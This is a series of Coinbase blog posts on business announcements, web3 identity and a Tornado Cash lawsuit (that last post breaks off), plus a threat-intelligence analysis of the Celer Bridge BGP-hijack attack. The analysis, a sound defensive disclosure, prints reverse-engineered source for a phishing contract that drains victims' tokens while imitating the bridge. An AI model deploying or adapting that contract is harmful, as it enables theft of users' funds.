Coinbase

Tl:dr Earlier today, the Wall Street Journal published an article highlighting client-driven activities, which they seem to confuse with proprietary trading.

Unlike many of our competitors, Coinbase does not operate a proprietary trading business or act as a market maker. In fact, one of the competitive strengths of our Institutional Prime platform is our agency only trading model, where we act only on behalf of our clients. As a result, our incentives and our clients’ incentives are aligned by design.

Coinbase does, from time to time, purchase cryptocurrency as principal, including for our corporate treasury and operational purposes*. We do not view this as proprietary trading because its purpose is not for Coinbase to benefit from short-term increases in value of the cryptocurrency being traded.

Expanding institutional participation in web3 beyond HODLing

As more institutions have become interested in investing in crypto, we are rolling out new solutions to help. One way we intend to serve our institutional clients is through a small newly formed team called Coinbase Risk Solutions (CRS).

CRS offers solutions to sophisticated institutional investors who seek exposure to the crypto asset class. Some of these investors are still getting familiar with crypto markets and ask for our assistance in managing risks and participating in protocols. The goal of CRS is to expand institutional participation in web3 beyond HODLing.

In doing this, we are following a well trodden path on Wall Street where financial services firms provide clients multiple ways to get exposure to new asset classes and manage certain risks. We have tools and policies in place that mirror best practices in the financial services industry and are designed to manage conflicts of interest.

*In December of 2021 we accurately outlined our investment activity in digital assets as part of our testimony to Congress, which you can find here.

In response to the Wall Street Journal was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tl;Dr: Coinbase becomes the first major global crypto exchange to successfully register with the Dutch Central Bank (De Nederlandsche Bank — DNB), allowing us to offer our crypto products and services to the Dutch market.

By Nana Murugesan, Vice President, International and Business Development

Hoi, Nederland!

We are excited to announce that Coinbase has successfully registered with the Dutch Central Bank (De Nederlandsche Bank — DNB) as a crypto service provider. This registration will allow Coinbase to offer our full suite of retail, institutional, and ecosystem products to customers in the Netherlands. We are proud to be the first major global crypto exchange to receive DNB registration approval — a significant milestone in Coinbase’s continued international expansion.

Coinbase views regulation of the industry as an “enabler” for crypto’s growth, setting clear ground rules that will create an environment which encourages innovation and strengthens trust in the sector from both the public and policymakers.

“As part of Coinbase’s ambition to be the world’s most trusted and secure crypto platform, we have taken strides to work collaboratively with government, policymakers and regulators to shape the future in a responsible way. Coinbase prides itself on being a compliance-led business. The Netherlands is a critical international market for crypto, and I am really excited for Coinbase to bring the potential of the crypto economy to the market here,” said Nana Murugesan, Vice President, International and Business Development at Coinbase.

Coinbase serves customers across almost 40 European countries through dedicated hubs in Ireland, the UK, and Germany. Additional registrations or license applications are in progress in several major markets, in compliance with local regulations.

— — — — — — — — — — — -

Coinbase Europe Limited and Coinbase Custody International Ltd are listed in DNB’s public register as a crypto service provider. DNB supervises Coinbase Europe Limited and Coinbase Custody International Ltd in compliance with the Anti-Money Laundering and Anti-Terrorist Financing Act (Wet ter voorkoming van witwassen en financiering van terrorisme — Wwft) and the Sanctions Act (Sanctiewet 1977 — Sw). The crypto services of Coinbase are not subject to prudential supervision by DNB or conduct supervision by the AFM. This means that financial operational risks in respect of the crypto services are not monitored and there is no specific financial consumer protection.

Coinbase gains regulatory approval in the Netherlands 🇳🇱 was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Starting today, developers have free and instant blockchain API access with Node by Coinbase Cloud

TL;DR: Coinbase Cloud enables web3 developers to build their web3 applications with instant and reliable read/write blockchain access using Node.

By Luv Kothari, Group Product Manager, Coinbase Cloud; Sriram Raman, Product Manager, Coinbase Cloud

Web3 development is complex. One needs to learn new programming languages, blockchain technologies, and on top of that, there are many protocols to support. Coinbase Cloud is committed to helping Web3 developers do what they do best… BUIDL. That’s why we’re taking our experience developing Web3 products for DeFi, staking and blockchain infrastructure and making this technology accessible for free to developers around the world, starting with the launch of Node.

Node empowers developers to build and monitor their Web3 applications from an easy-to-use platform with instant read/write access to blockchains and powerful data indexers to speed up responses.

Node, formerly known as Query & Transact, has been serving dedicated, paid nodes to enterprises for read/write access to 25+ blockchains since 2020.

Since then, we’ve been listening to the developer community and heard a demand for a developer version of Node. Which is why we are launching a free plan for developers building on Ethereum, providing self-serve and instant accessibility to blockchain nodes via API. Additionally, we are launching new Advanced APIs to simplify querying the blockchain and powerful new NFT APIs to developers around the world.

Available with Node

Node developer platform provides self-serve API access credentials, metrics dashboards to monitor and manage web3 projects, and developer resources to get started with web3 development.

• Build faster: Build and launch your Web3 application in minutes with Node instant API access.
• Reduce costs & complexity: Save on upfront costs and scale seamlessly as your usage needs grow. Node allows you to focus on your products and customers leaving the hard bits of scaling blockchain infrastructure to us.
• Rely on trusted services: Build your product with peace of mind, relying on enterprise-grade security and high availability infrastructure.
• Advanced APIs: Abstract away the complexities of building on the blockchain with aggregated and filtered data in one API call. Easy-to-use queries provide comprehensive data for balances, transfers, and smart contract events.
• NFT API: Build your NFT app with a few lines of code. Get the answers you need to the most critical NFT questions including data about collections, user transactions, and tokens.
• 120K daily requests: Intended to be enough to reach meaningful adoption without incurring upfront costs for infrastructure*. If you need more capacity you can upgrade to another available plan.

Node is available starting today around the world. We believe the most exciting projects in web3 are on the horizon and we can’t wait to see what the community builds! Get started for free.

Coinbase Cloud

Coinbase Cloud makes it simple to build dapps. In addition to shared and dedicated nodes, Coinbase Cloud offers a fiat on-ramp with Pay SDK, trading APIs, Wallet SDK, and more. Our vision is to provide everything devs need to quickly, easily, and securely build amazing web3 apps.

Get started with Node on Coinbase Cloud or check out the developer documentation for more information.

*This is not a guarantee. Needs may vary significantly on a case-by-case basis.

Features and services may vary depending on the selected plan, and some plans may be subject to subscription fees and/or additional fees, costs or customized pricing.

Legalese/Disclaimers

This document and the information contained herein is not a recommendation or endorsement of any digital asset, protocol, network, or project. However, Coinbase may have, or may in the future have, a significant financial interest in, and may receive compensation for services related to one or more of the digital assets, protocols, networks, entities, projects, and/or ventures discussed herein. The risk of loss in cryptocurrency, including staking, can be substantial and nothing herein is intended to be a guarantee against the possibility of loss.

This document and the content contained herein are based on information which is believed to be reliable and has been obtained from sources believed to be reliable, but Coinbase makes no representation or warranty, express, or implied, as to the fairness, accuracy, adequacy, reasonableness, or completeness of such information, and, without limiting the foregoing or anything else in this disclaimer, all information provided herein is subject to modification by the underlying protocol network.

Any use of Coinbase’s services may be contingent on completion of Coinbase’s onboarding process and is Coinbase’s sole discretion, including entrance into applicable legal documentation and will be, at all times, subject to and governed by Coinbase’s policies, including without limitation, its terms of service and privacy policy, as may be amended from time to time.

Coinbase Cloud launches platform for web3 developers was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

TL;DR: To create an open financial system for the world, we need to ensure web3 is usable by everyone. This means building an identity experience that’s intuitive, forgiving, and trustworthy, combining the best of web2 and web3. Our first step is to make it easy for anyone to claim a web3 (ENS) username for free, but there’s more work to be done.

By Alex Reeve, Group Product Manager, Identity

If you’ve used crypto, you’ve probably experienced the anxiety that comes from sending tokens or NFTs to intimidating 42-character addresses like 0x2133a64a3bE8B64827B26B08e166d0b478bd09D3. To make this easier, we worked with Ethereum Name Service (ENS) to allow users to claim “name.cb.id” usernames using Coinbase Wallet’s browser extension.

In order to create an open financial system for the world, we need to ensure that people from all walks of life can use web3. Fostering adoption of a human-readable username standard is a key part of making web3 user-friendly for everyone. With this feature, anyone can now claim a free “name.cb.id” web3 username to send and receive crypto (instead of using 42-character addresses), engage with others, and to use as the foundation of their web3 identity.

While this is an important milestone, your username is only part of your online identity. There are other identity-related gaps to fill before web3 is usable by billions of people. While web3 has early promise, it’s often unintuitive, and it lacks viable ways of conveying and assessing trust and legitimacy. To fill these gaps, we need to combine the convenience of web2 with the privacy, security, and control of web3.

What is identity? Why does it matter?

When you create an account or sign in to a product, you’re using your identity to gain access. Identity is how products and platforms represent people, manage access and authorization, and assess trust. Identity has three core parts:

1. Representation: how you’re represented as a user (e.g. your username and profile).

2. Access: proving that you’re the owner of said identity (e.g. signing in) to get access to the product.

3. Authorization: determining what you’re allowed to access based on who you are.

With web3 today, you’re represented by a wallet address or username like nick.eth or nick.cb.id. You access web3 by using your seed phrase to configure your wallet or recover access to your wallet. Specific tokens or NFTs can authorize you to access exclusive communities, merchandise drops, and more.

Hasn’t web2 already solved this problem?

Web2 companies have invested heavily in developing intuitive and convenient identity products. But the cracks in web2 identity are starting to show: the need to manage multiple accounts and passwords; having to fend off relentless spam; and the insidious lack of privacy, security, and control.

Many of us have exchanged privacy, security, and control for convenience. We only become aware of web2’s downsides when we’re impacted by a data breach, organizational overreach, or loss of access. But in today’s world, these events are becoming inevitabilities.

What does web3 need to thrive?

Basic customer needs are the same for web2 and web3 identity. The difference is how they’re met. Web2 is centralized, providing convenience and flexibility at the cost of privacy, security, and control. Web3 is trustless and decentralized, but it has usability gaps. For web3 to thrive, we need to combine the best of both (flexibility and usability without sacrificing privacy, security or control) and create an experience that’s:

• Intuitive. It needs to be easy for every user to transact and engage with others through human-readable usernames rather than intimidating 42-character addresses.
• Forgiving. Every user needs security, and they need a way to recover access without being reliant on safely storing a sensitive recovery phrase — where a single mistake can cost someone their livelihood.
• Trustworthy. People need to be able to understand whether the person or app they’re interacting with is trustworthy, and apps and people need tools to demonstrate trust to others.

Evolving web3 identity

Web3 has the opportunity to address many of web2’s flaws. With crypto, you control the keys to your identity and your security is in your own hands. But let’s be realistic: web3 as it exists today is intimidating. So what do we, the web3 community, need to build to make the benefits of web3 available to everyone?

An identity for the user.

We need to make it easy to define and manage portable, interoperable, human-readable usernames that sit on rich, customizable public identities ranging from anonymous to fully public. Users should be able to maintain multiple identities for different contexts (e.g. one for work and one for gaming).

Tools to help everyone stay secure and feel secure.

Today, web3 violates one of the cardinal laws of security in that our identities are vulnerable to a single point of failure: the recovery phrase. A compromised app, device, or a social engineering attack can lead to identity theft. Multi-factor authentication (MFA) is the quintessential web2 example, and web3 will need an equivalent solution that can protect every user.

Recovery for when something goes wrong.

We’ve all forgotten a password at some point, and we shouldn’t expect recovery phrases to be any different. We can’t scale an ecosystem where losing a recovery phrase can cost someone access to their livelihood — users need ways of regaining access. Products like social recovery or the multi-party computation (MPC) technology that powers Coinbase’s dapp wallet are creating more forgiving experiences that can enable broader web3 adoption.

Signals for trust and legitimacy.

Passports only work because governments attest to their legitimacy. The utility of web3 identity will also rely on trusted parties attesting to the legitimacy of an identity. Users will need ways of collecting, managing, and communicating “attestations” that validate their credentials and legitimacy. Applications will need ways of both issuing and verifying the legitimacy of a user’s identity and credentials.

Interoperability across web2 and web3.

Over time, the concepts of “web2” and “web3” will blur and users who are later on the adoption curve won’t see a clear difference between the two. They will expect to be able to seamlessly access both “web2” and “web3” from a single identity and set of credentials, and we need to enable that experience. Similarly, we need to provide users with a chain-agnostic identity that they can use across all of web3.

Building identity for web3

Building a robust web3 identity layer will require deep focus from strong teams that can build and iterate rapidly. This will often mean building and refining locally before scaling globally (and in a decentralized way). Coinbase and organizations like us need to embrace this long-term vision from the start: open source, open standards, and close collaboration with the broader web3 ecosystem.

Most importantly, we can’t lose sight of the core promise of web3 identity. We need to build in a way that prioritizes privacy, security, and control for the user while being intuitive, forgiving, and trustworthy.

We’ve started this journey with organizations like ENS and Verite to enable a free web3 identity (cb.id) for everyone, and we’ll continue expanding our identity offerings. Watch this space: this is only the beginning of an exciting new chapter for identity and web3 for Coinbase and for the web3 community at large.

What Web3 Identity Needs was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Coinbase Exchange fee updates — September 2022

On Tuesday, September 20, 2022 at approximately 5pm ET, Coinbase Exchange will implement a new fee structure to account for changes in global crypto trading volumes and asset prices, lowering the monthly trading volume required to qualify for the mid and upper tiers of our fee schedule. The new fee schedule will be implemented on Coinbase Exchange, Pro, and Advanced Trade.

In order to respond to client needs, Coinbase periodically updates pricing. All fee updates are shared prior to being implemented.

New Fee Schedule

The calculation for volume tiers will continue to be based on trailing 30 day volume.

Coinbase Exchange fee updates — September 2022 was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tl;dr: In this piece we share critical lessons about the nature of the Celer Bridge compromise, attacker on-chain and off-chain techniques and tactics during the incident, as well as security tips for similar projects and users. Building a better crypto ecosystem means building a better, more equitable future for us all. That’s why we are investing in the larger community to make sure anyone who wants to participate in the cryptoeconomy can do so in a secure way.

While the Celer bridge compromise does not directly affect Coinbase, we strongly believe that attacks on any crypto business are bad for the industry as a whole and hope the information in the blog will help strengthen and inform similar projects and their users about threats and techniques used by malicious actors.

By: Peter Kacherginsky, Threat Intelligence

On August 17, 2022, Celer Network Bridge dapp users were targeted in a front-end hijacking attack which lasted approximately 3 hours and resulted in 32 impacted victims and $235,000 USD in losses. The attack was the result of a Border Gateway Protocol (BGP) announcement that appeared to originate from the QuickHostUk (AS-209243) hosting provider which itself may be a victim. BGP hijacking is a unique attack vector exploiting weakness and trust relationships in the Internet’s core routing architecture. It was used earlier this year to target other cryptocurrency projects such as KLAYswap.

Unlike the Nomad Bridge compromise on August 1, 2022, front-end hijacking primarily targeted users of the Celer platform dapp as opposed to the project’s liquidity pools. In this case, Celer UI users with assets on Ethereum, BSC, Polygon, Optimism, Fantom, Arbitrum, Avalanche, Metis, Astar, and Aurora networks were presented with specially crafted smart contracts designed to steal their funds.

Impact

Ethereum users suffered the largest monetary losses with a single victim losing $156K USD. The largest number of victims on a single network were using BSC, while users of other chains like Avalanche and Metis suffered no losses.

Compromise Analysis

The attacker performed initial preparation on August 12, 2022 by deploying a series of malicious smart contracts on Ethereum, Binance Smart Chain (BSC), Polygon, Optimism, Fantom, Arbitrum, Avalanche, Metis, Astar, and Aurora networks. Preparation for the BGP route hijacking took place on August 16th, 2022 and culminated with the attack on August 17, 2022 by taking over a subdomain responsible for serving dapp users with the latest bridge contract addresses and lasted for approximately 3 hours. The attack stopped shortly after the announcement by the Celer team, at which point the attacker started moving funds to Tornado Cash.

The following sections explore each of the attack stages in more detail as well as the Incident Timeline which follows the attacker over the 7 day period.

BGP Hijacking Analysis

The attack targeted the cbridge-prod2.celer.network subdomain which hosted critical smart contract configuration data for the Celer Bridge user interface (UI). Prior to the attack cbridge-prod2.celer.network (44.235.216.69) was served by AS-16509 (Amazon) with a 44.224.0.0/11 route.

On August 16, 2022 17:21:13 UTC, a malicious actor created routing registry entries for MAINT-QUICKHOSTUK and added a 44.235.216.0/24 route to the Internet Routing Registry (IRR) in preparation for the attack:

Figure 1 — Pre-attack router configuration (source: Misaka NRTM log by Siyuan Miao)

Starting on August 17, 2022 19:39:50 UTC a new route started propagating for the more specific 44.235.216.0/24 route with a different origin AS-14618 (Amazon) than before, and a new upstream AS-209243 (QuickHostUk):

Figure 2 — Malicious route announcement (source: RIPE Raw Data Archive)

Since 44.235.216.0/24 is a more specific path than 44.224.0.0/11 traffic destined for cbridge-prod2.celer.network started flowing through the AS-209243 (QuickHostUk) which replaced key smart contract parameters described in the Malicious Dapp Analysis section below.

Figure 3 — Network map after BGP hijacking (source: RIPE)

In order to intercept rerouted traffic, the attacker created a valid certificate for the target domain first observed at 2022–08–17 19:42 UTC using GoGetSSL, an SSL certificate provider based in Latvia. [1] [2]

Figure 4 -Malicious certificate (source: Censys)

Prior to the attack, Celer used SSL certificates issued by Let’s Encrypt and Amazon for its domains.

On August 17, 2022 20:22:12 UTC the malicious route was withdrawn by multiple Autonomous Systems (ASs):

Figure 5 — Malicious route withdrawal (source: RIPE Raw Data Archive)

Shortly after at 23:08:47 UTC Amazon announced 44.235.216.0/24 to reclaim hijacked traffic:

Figure 6 — Amazon claiming hijacked route (source: RIPE Raw Data Archive)

The first set of funds stolen through a phishing contract occurred at 2022–08–17 19:51 UTC on the Fantom network and continued until 2022–08–17 21:49 UTC when the last user lost assets on the BSC network which aligns with the above timeline concerning the project’s network infrastructure.

Malicious Dapp Analysis

The attack targeted a smart contract configuration resource hosted on cbridge-prod2.celer.network such as https://cbridge-prod2.celer.network/v1/getTransferConfigsForAll holding per chain bridge contract addresses. Modifying any of the bridge addresses would result in a victim approving and/or sending assets to a malicious contract. Below is a sample modified entry redirecting Ethereum users to use a malicious contract 0x2A2a…18E8.

Figure 7 — Sample Celer Bridge configuration (source: Coinbase TI analysis)

See Appendix A for a comprehensive listing of malicious contracts created by attackers.

Phishing Contract Analysis

The phishing contract closely resembles the official Celer Bridge contract by mimicking many of its attributes. For any method not explicitly defined in the phishing contract, it implements a proxy structure which forwards calls to the legitimate Celer Bridge contract. The proxied contract is unique to each chain and is configured on initialization. The command below illustrates the contents of the storage slot responsible for the phishing contract’s proxy configuration:

Figure 8 — Phishing smart contract proxy storage (source: Coinbase TI analysis)

The phishing contract steals users’ funds using two approaches:

• Any tokens approved by phishing victims are drained using a custom method with a 4byte value 0x9c307de6()
• The phishing contract overrides the following methods designed to immediately steal a victim’s tokens:
• send()- used to steal tokens (e.g. USDC)
• sendNative() — used to steal native assets (e.g. ETH)
• addLiquidity()- used to steal tokens (e.g. USDC)
• addNativeLiquidity() — used to steal native assets (e.g. ETH)

Below is a sample reverse engineered snippet which redirects assets to the attacker wallet:

Figure 9 — Phishing smart contract snippet (source: Coinbase TI analysis)

See Appendix B for the complete reverse engineered source code.

Swapping and Obfuscating Funds

During and immediately following the attack:

1. The attacker swapped stolen tokens on Curve, Uniswap, TraderJoe, AuroraSwap, and other chain-specific DEXs into each chain’s native assets or wrapped ETH.
2. The attacker bridged all assets from Step 1 to Ethereum.
3. The attacker then proceeded to swap the remaining tokens on Uniswap to ETH.
4. Finally, the attacker sent 127 ETH at 2022–08–17 22:33 UTC and another 1.4 ETH at 2022–08–18 01:01 UTC to Tornado Cash.

Following the steps outlined above, the attacker deposited the remaining 0.01201403570756 ETH to 0x6614…fcd9 which previously received funds from and fed into Binance through 0xd85f…4ed8.

The diagram below illustrates the multi-chain bridging and swapping flow used by the attacker prior to sending assets to Tornado Cash:

Figure 10 — Asset swapping and obfuscation diagram (source: Coinbase TI)

Interestingly, following the last theft transaction on 2022–08–17 21:49 UTC from a victim on BSC, there was another transfer on 2022–08–18 02:37 UTC by 0xe35c…aa9d on BSC more than 4 hours later. This address was funded minutes prior to this transaction by 0x975d…d94b using ChangeNow.

Attacker Profile

The attacker was well prepared and methodical in how they constructed phishing contracts. For each chain and deployment, the attacker painstakingly tested their contracts with previously transferred sample tokens. This allowed them to catch multiple deployment bugs prior to the attack.

The attacker was very familiar with available bridging protocols and DEXs, even on more esoteric chains like Aurora shown by their rapid exchange, bridging, and steps to obfuscate stolen assets after they were discovered. Notably, the threat actor chose to target less popular chains like Metis, Astar, and Aurora while going to great lengths to send test funds through multiple bridges.

Transactions across chains and stages of the attack were serialized, indicating a single operator was likely behind the attack.

Performing a BGP hijacking attack requires a specialized networking skill set which the attacker may have deployed in the past.

Protecting Yourself

Web3 projects do not exist in a vacuum and still depend on the traditional web2 infrastructure for many of their critical components such as dapps hosting services and domain registrars, blockchain gateways, and the core Internet routing infrastructure. This dependency introduces more traditional threats such as BGP and DNS hijacking, domain registrar takeover, traditional web exploitation, etc. to otherwise decentralized products. Below are several steps which may be used to mitigate threats in appropriate cases:

Enable the following security controls, or consider using hosting providers that have enabled them, to protect projects infrastructure:

• RPKI to protect hosting routing infrastructure.
• DNSSEC and CAA to protect domain and certificate services.
• Multifactor authentication or enhanced account protection on hosting, domain registrar, and other services.
• Limit, restrict, implement logging and review on access to the above services.

Implement the following monitoring both for the project and its dependencies:

• Implement BGP monitoring to detect unexpected changes to routes and prefixes (e.g. BGPAlerter)
• Implement DNS monitoring to detect unexpected record changes ( e.g. DNSCheck)
• Implement certificate transparency log monitoring to detect unknown certificates associated with project’s domain (e.g. Certstream)
• Implement dapp monitoring to detect unexpected smart contract addresses presented by the front-end architecture

DeFi users can protect themselves from front-end hijacking attacks by adopting the following practices:

• Verify smart contract addresses presented by a Dapp with the project’s official documentation when available.
• Exercise vigilance when signing or approving transactions.
• Use a hardware wallet or other cold storage solution to protect assets you don’t regularly use.
• Periodically review and revoke any contract approvals you don’t actively need.
• Follow project’s social media feeds for any security announcements.
• Use wallet software capable of blocking malicious threats (e.g. Coinbase Wallet).

Coinbase is committed to improving our security and the wider industry’s security, as well as protecting our users. We believe that exploits like these can be mitigated and ultimately prevented. Besides making codebases open source for the public to review, we recommend frequent protocol audits, implementation of bug bounty programs, and partnering with security researchers. Although this exploit was a difficult learning experience for those affected, we believe that understanding how the exploit occurred can only help further mature our industry.

We understand that trust is built on dependable security — which is why we make protecting your account & your digital assets our number one priority. Learn more here.

Incident Timeline

Stage 1: Preparation

Funding

2022–08–12 14:33 UTC — 0xb0f5…30dd funded from Tornado Cash on Ethereum.

Bridging to BSC, Polygon, Optimism, Fantom, Arbitrum, and Avalanche

2022–08–12 14:41 UTC — 0xb0f5…30dd begins moving funds to BSC, Polygon, Optimism, Fantom, and Arbitrum, Avalanche using ChainHop on Ethereum.

BSC deployment

2022–08–12 14:56 UTC — 0xb0f5…30dd deploys 0x9c8…ec9f9 phishing contract on BSC.

NOTE: Attacker forgot to specify Celer proxy contract.

2022–08–12 17:30 UTC — 0xb0f5…30dd deploys 0x5895…e7cf phishing contract on BSC and tests token retrieval.

Fantom deployment

2022–08–12 18:29 UTC — 0xb0f5…30dd deploys 0x9c8b…c9f9 phishing contract on Fantom.

NOTE: Attacker specified the wrong Celer proxy from the BSC network.

2022–08–12 18:30 UTC — 0xb0f5…30dd deploys 0x458f…f972 phishing contract on Fantom and tests token retrieval.

Bridging to Astar and Aurora

2022–08–12 18:36 UTC — 0xb0f5…30dd moves funds to Astar and Aurora using using Celer Bridge on BSC.

Astar deployment

2022–08–12 18:41 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Astar.

Polygon deployment

2022–08–12 18:57 UTC — 0xb0f5…30dd deploys 0x9c8b…c9f9 phishing contract on Polygon

Optimism deployment

2022–08–12 19:07 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Optimism and tests token retrieval.

Bridging to Metis

2022–08–12 19:12 UTC — 0xb0f5…30dd continues moving funds to Metis using Celer Bridge on Ethereum.

Arbitrum deployment

2022–08–12 19:20 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Arbitrum and tests token retrieval.

Metis deployment

2022–08–12 19:24 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Arbitrum and tests token retrieval.

Avalanche deployment

2022–08–12 19:28 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Avalanche and tests token retrieval.

Aurora deployment

2022–08–12 19:40 UTC — 0xb0f5…30dd deploys 0x9c8…c9f9 phishing contract on Aurora.

Ethereum deployment

2022–08–12 19:50 UTC — 0xb0f5…30dd deploys 0x2a2a…18e8 phishing contract on Ethereum and test token retrieval.

Routing Infrastructure configuration

2022–08–16 17:21 UTC — Attacker updates IRR with AS209243, AS16509 members.

2022–08–16 17:36 UTC — Attacker updates IRR to handle 44.235.216.0/24 route.

Stage 2: Attack

2022–08–17 19:39 UTC — BGP Hijacking of 44.235.216.0/24 route.

2022–08–17 19:42 UTC — New SSL certificates observed for cbridge-prod2.celer.network [1] [2]

2022–08–17 19:51 UTC — First victim observed on Fantom.

2022–08–17 21:49 UTC — Last victim observed on BSC.

2021–08–17 21:56 UTC — Celer Twitter shares reports about a security incident.

2022–08–17 22:12 UTC — BGP Hijacking ends and 44.235.216.0/24 route withdrawn.

Stage 3: Post-Attack Swapping and Obfuscation

2022–08–17 22:33 UTC — Begin depositing 127 ETH to Tornado Cash on Ethereum.

2022–08–17 23:08 UTC — Amazon AS-16509 claims 44.235.216.0/24 route.

2022–08–17 23:45 UTC — The last bridging transaction to Ethereum from Optimism.

2022–08–17 23:53 UTC — The last bridging transaction to Ethereum from Arbitrum.

2022–08–17 23:48 UTC — The last bridging transaction to Ethereum from Polygon.

2022–08–18 00:01 UTC — The last bridging transaction to Ethereum from Avalanche.

2022–08–18 00:17 UTC — The last bridging transaction to Ethereum from Aurora.

2022–08–18 00:21 UTC — The last bridging transaction to Ethereum from Fantom.

2022–08–18 00:26 UTC — The last bridging transaction to Ethereum from BSC.

2022–08–18 01:01 UTC — Begin depositing 1.4 ETH to Tornado Cash on Ethereum.

2022–08–18 01:33 UTC — Transfer 0.01201403570756 ETH to 0x6614…fcd9.

Indicators

Ethereum: 0xb0f5fa0cd2726844526e3f70e76f54c6d91530dd

Ethereum: 0x2A2aA50450811Ae589847D670cB913dF763318E8

Ethereum: 0x66140a95d189846e74243a75b14fe6128dbbfcd9

BSC: 0x5895da888Cbf3656D8f51E5Df9FD26E8E131e7CF

Fantom: 0x458f4d7ef4fb1a0e56b36bf7a403df830cfdf972

Polygon: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Avalanche: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9

Arbitrum: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9

Astar: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9

Aurora: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Optimism: 0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Metis: 0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9

AS: 209243 (AS number observed in the path on routing announcements and as a maintainer for the prefix in IRR changes)

Appendix A: Phishing smart contracts

Ethereum

0x2a2aa50450811ae589847d670cb913df763318e8

BSC

0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

0x11f8c7cdf73b71cd189bb2a7f285dabfe8957f9c

0xc8dd7eadef50a659c480c6fa18863e354e12fc4f

0x5895da888cbf3656d8f51e5df9fd26e8e131e7cf

Polygon

0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Fantom

0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

0x458f4d7ef4fb1a0e56b36bf7a403df830cfdf972

Arbitrum

0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Avalanche

0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Astar

0x9c8B72f0D43BA23B96B878F1c1F75EdC2Beec9F9

Aurora

2f0d43ba23b96b878f1c1f75edc2beec9f9

Metis

​0x9c8b72f0d43ba23b96b878f1c1f75edc2beec9f9

Appendix B: Phishing smart contract source code (RE)

The following reverse engineered contract is based on the bytecode at 0x2a2a…18e8

pragma solidity ^0.8.0;

import "./IERC20.sol";

contract CelerPhish {
    address attacker;
    address celerBridge;

constructor(address _celerBridge) public {
        attacker = msg.sender;
        celerBridge = _celerBridge;
    }

function sendNative(address _receiver, uint256 _amount, uint64 _dstChainId, uint64 _nonce, uint32 _maxSlippage) public payable { 
        require(msg.data.length - 4 >= 160);
        if (msg.value > 0) {
            (bool success, ) = attacker.call{value: msg.value}("");
            require(success);
        }
    }

function addLiquidity(address _token, uint256 _amount) public { 
        steal(msg.sender, _token);
    }

function addNativeLiquidity(uint256 _amount) public payable { 
        require(msg.data.length - 4 >= 32);
        if (msg.value > 0) {
            (bool success, ) = attacker.call{value: msg.value}("");
            require(success);
        }
    }

// Steals approved funds, originally 0x9c307de6 4byte
    function stealApprovedTokens(address token, address recipient) public { 
        require(msg.data.length - 4 >= 64);
        steal(recipient, token);
    }

function send(address _reciever, address _token, uint256 _amount, uint64 _dstChainId, uint64 _nonce, uint32 _maxSlippage) public { 
        require(msg.data.length - 4 >= 192);
        steal(msg.sender, _token);
    }

// Steals assets
    function steal(address recipient, address token) private {

uint256 balance = IERC20(token).balanceOf(recipient);
        uint256 allowance = IERC20(token).allowance(recipient, address(this));

if (balance > 0 && allowance > 0) {
            if (balance >= allowance) {
                bool success = IERC20(token).transferFrom(recipient, attacker, allowance);
                require(success);
            } else {
                bool success = IERC20(token).transferFrom(recipient, attacker, balance);
                require(success);
            }
        }
    }

// Forward other calls to the Celer Bridge
    // EIP-1822: https://eips.ethereum.org/EIPS/eip-1822
    fallback() external payable {
        assembly { // solium-disable-line
            let contractLogic := sload(1)
            calldatacopy(0x0, 0x0, calldatasize())
            let success := delegatecall(sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0)
            let retSz := returndatasize()
            returndatacopy(0, 0, retSz)
            switch success
            case 0 {
                revert(0, retSz)
            }
            default {
                return(0, retSz)
            }
        }
    }
}

References

• https://twitter.com/CelerNetwork/status/1560123830844411904
• https://slowmist.medium.com/truth-behind-the-celer-network-cbridge-cross-chain-bridge-incident-bgp-hijacking-52556227e940
• https://mailman.nanog.org/pipermail/nanog/2022-August/220320.html
• https://stat.ripe.net/app/use-cases/prefix/bgplay/S1_44.235.216.0%252F24_bgplay_TMAST1660694400000ET1660867200000

Celer Bridge incident analysis was originally published in The Coinbase Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Tl;dr: Coinbase is funding a lawsuit brought by six people challenging the US Treasury Department’s sanctions of the Tornado Cash smart contracts and asking the Court to remove them from the U.S. sanctions list. The lawsuit explains that OFAC exceeded its authority from Congress and the President in sanctioning open source technology, rather than sanctioning the bad actors who used it or the property of those bad actors.

By Paul Grewal, Chief Legal Officer

Today, Brian Armstrong shared why Coinbase is funding and supporting a challenge by six individuals (including two Coinbase employees) against the Treasury Department’s novel sanctions of open source software associated with Tornado Cash. I wanted to take a moment to share a little more detail about this legal action. At its core, this legal challenge is about how the Treasury Department exceeded the authority Congress and the President granted it in sanctioning open source technology, rather than sanctioning the bad actors who used it or the property of those bad actors. No one wants criminals to use crypto protocols, but blocking the technology entirely (which is what this sanction essentially does) is not what the people’s elected representatives authorized — especially when there are effective routes to more narrowly target bad actors. These sanctions represent a significant unauthorized expansion of OFAC’s authority, and they have harmed innocent people seeking to legitimately protect their privacy and security using this technology, as the stories of these six individuals make clear.

Tornado Cash Sanctions

